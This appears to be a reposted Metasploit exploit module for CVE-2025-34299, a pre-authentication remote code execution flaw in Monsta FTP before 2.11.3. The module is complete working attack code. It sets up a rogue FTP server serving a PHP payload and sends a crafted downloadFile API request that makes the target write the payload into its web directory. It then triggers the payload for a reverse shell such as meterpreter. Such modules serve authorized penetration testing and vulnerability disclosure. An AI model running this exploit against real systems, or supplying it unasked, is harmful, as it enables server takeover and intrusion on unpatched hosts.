Share
## https://sploitus.com/exploit?id=PACKETSTORM:212150
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Payload::Php
      include Msf::Exploit::FileDropper
      include Msf::Exploit::Remote::FtpServer
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Monsta FTP downloadFile Remote Code Execution',
            'Description' => %q{
              This module exploits a pre-authenticated remote code execution vulnerability
              in Monsta FTP versions < 2.11.3. The vulnerability exists in the downloadFile
              action which allows an attacker to connect to a malicious FTP or SFTP server
              and download arbitrary files to arbitrary locations on the Monsta FTP server.
              This module uses FTP to exploit the vulnerability.
            },
            'Author' => [
              'watchTowr Labs',                              # Discovery
              'Valentin Lobstein <chocapikk[at]leakix.net>', # Metasploit module
              'msutovsky-r7'                                 # Module reviewer
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2025-34299'],
              ['URL', 'https://labs.watchtowr.com/monsta-ftp-remote-code-execution-cve-2025-34299/']
            ],
            'Platform' => %w[php unix linux win],
            'Arch' => [ARCH_PHP, ARCH_CMD],
            'Targets' => [
              [
                'PHP In-Memory',
                {
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP
                  # tested with php/meterpreter/reverse_tcp
                }
              ],
              [
                'Unix/Linux Command Shell',
                {
                  'Platform' => %w[unix linux],
                  'Arch' => ARCH_CMD
                  # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
                }
              ],
              [
                'Windows Command Shell',
                {
                  'Platform' => 'win',
                  'Arch' => ARCH_CMD
                  # tested with cmd/windows/http/x64/meterpreter/reverse_tcp
                }
              ]
            ],
            'DefaultTarget' => 0,
            'Privileged' => false,
            'DisclosureDate' => '2025-11-07',
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
            }
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'The base path to Monsta FTP', '/mftp/'])
        ])
      end
    
      def check
        res = send_request_cgi('uri' => normalize_uri(target_uri.path))
        return CheckCode::Unknown('Connection failed') unless res
        return CheckCode::Safe('Target does not appear to be Monsta FTP') unless res.code == 200 && res.body.include?('Monsta FTP')
    
        version_match = res.body.match(/(?:v=|assets-|monsta-min-)(\d+\.\d+\.\d+)/)
        return CheckCode::Detected('Monsta FTP detected but version could not be determined') unless version_match
    
        version = Rex::Version.new(version_match[1])
        print_status("Monsta FTP version detected: #{version}")
        version < Rex::Version.new('2.11.3') ? CheckCode::Appears("Detected version #{version}, which is vulnerable") : CheckCode::Safe("Detected not vulnerable version #{version}")
      end
    
      def php_payload_content
        phped_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
        "<?php #{phped_payload} ?>"
      end
    
      def send_ftp_response(cli, code, message)
        cli.put "#{code} #{message}\r\n"
        vprint_status("FTP: #{code} #{message}")
      end
    
      def require_auth(cli)
        return true if @state[cli][:auth]
    
        send_ftp_response(cli, 530, 'Not logged in.')
        false
      end
    
      def send_data_connection(cli)
        conn = establish_data_connection(cli)
        unless conn
          send_ftp_response(cli, 425, "Can't open data connection.")
          return nil
        end
        conn
      end
    
      def handle_data_transfer_retr(cli, message)
        send_ftp_response(cli, 150, message)
        conn = send_data_connection(cli)
        return unless conn
    
        conn.put(php_payload_content)
        conn.close
        send_ftp_response(cli, 226, 'Transfer complete.')
      end
    
      def start_ftp_service(credentials)
        define_singleton_method(:on_client_connect) do |cli|
          vprint_status("FTP client connected from #{cli.peerhost}:#{cli.peerport}")
          @state[cli] = {
            name: "#{cli.peerhost}:#{cli.peerport}",
            ip: cli.peerhost,
            port: cli.peerport,
            user: credentials[:user],
            pass: credentials[:pass],
            auth: false,
            valid_user: false
          }
          send_ftp_response(cli, 220, 'FTP Server Ready')
        end
        start_service({ SSL: false })
      end
    
      def handle_ftp_command(_cli, cmd, arg = nil)
        vprint_status("FTP: Client sent #{cmd}#{arg ? " #{arg}" : ''}")
      end
    
      def on_client_command_user(cli, arg)
        handle_ftp_command(cli, 'USER', arg)
        @state[cli][:valid_user] = arg == @state[cli][:user]
        send_ftp_response(cli, 331, 'User name okay, need password.')
      end
    
      def on_client_command_pass(cli, arg)
        handle_ftp_command(cli, 'PASS')
        @state[cli][:auth] = @state[cli][:valid_user] && arg == @state[cli][:pass]
        code, message = @state[cli][:auth] ? [230, 'Login successful.'] : [530, 'Login incorrect.']
        send_ftp_response(cli, code, message)
      end
    
      def on_client_command_pwd(cli, _arg)
        handle_ftp_command(cli, 'PWD')
        send_ftp_response(cli, 257, '"/" is current directory.')
      end
    
      def on_client_command_type(cli, arg)
        handle_ftp_command(cli, 'TYPE', arg)
        send_ftp_response(cli, 200, "Type set to #{arg}.")
      end
    
      def on_client_command_port(cli, arg)
        handle_ftp_command(cli, 'PORT', arg)
        parts = arg.split(',')
        unless parts.length == 6
          vprint_error("FTP: Invalid PORT command format: #{arg}")
          send_ftp_response(cli, 500, 'Illegal PORT command.')
          return
        end
        host = parts[0..3].join('.')
        port = (parts[4].to_i * 256) + parts[5].to_i
        vprint_status("FTP: PORT command parsed - host: #{host}, port: #{port}")
        active_data_port_for_client(cli, port)
        send_ftp_response(cli, 200, 'PORT command successful.')
      end
    
      def on_client_command_retr(cli, arg)
        handle_ftp_command(cli, 'RETR', arg)
        return unless require_auth(cli)
    
        handle_data_transfer_retr(cli, "Opening data connection for #{arg}")
      end
    
      def on_client_command_quit(cli, _arg)
        handle_ftp_command(cli, 'QUIT')
        send_ftp_response(cli, 221, 'Goodbye.')
      end
    
      def on_client_command_unknown(cli, cmd, arg)
        handle_ftp_command(cli, "UNKNOWN: #{cmd}", arg)
        send_ftp_response(cli, 500, "'#{cmd} #{arg}': command not understood.")
      end
    
      def trigger_http_request(exploit_data)
        vprint_status('Triggering HTTP request...')
        payload_name = "#{Rex::Text.rand_text_alphanumeric(8..12)}.php"
    
        res = send_request_cgi({
          'uri' => normalize_uri(target_uri.path, 'application', 'api', 'api.php'),
          'method' => 'POST',
          'ctype' => 'application/x-www-form-urlencoded',
          'data' => "request=#{Rex::Text.uri_encode({
            'connectionType' => 'ftp',
            'configuration' => {
              'host' => datastore['SRVHOST'],
              'username' => exploit_data[:user],
              'initialDirectory' => '/',
              'password' => exploit_data[:pass],
              'port' => datastore['SRVPORT']
            },
            'actionName' => 'downloadFile',
            'context' => { 'remotePath' => "/#{payload_name}", 'localPath' => payload_name }
          }.to_json)}"
        })
    
        return nil unless res&.code == 200 && res.get_json_document&.[]('success')
    
        vprint_status("File downloaded successfully: #{payload_name}")
        payload_name
      end
    
      def exploit
        exploit_data = {
          user: Faker::Internet.username,
          pass: Faker::Internet.password
        }
    
        start_ftp_service(exploit_data)
        vprint_status("FTP server started on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}")
    
        payload_name = trigger_http_request(exploit_data)
        fail_with(Failure::Unknown, 'Failed to download payload file') unless payload_name
    
        register_file_for_cleanup(payload_name)
        vprint_status("Triggering payload at #{normalize_uri(target_uri.path, 'application', 'api', payload_name)}...")
        res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'application', 'api', payload_name), 'method' => 'GET')
    
        vprint_warning('Payload executed but failed to establish reverse connection') if res&.body == 'no socket'
      end
    end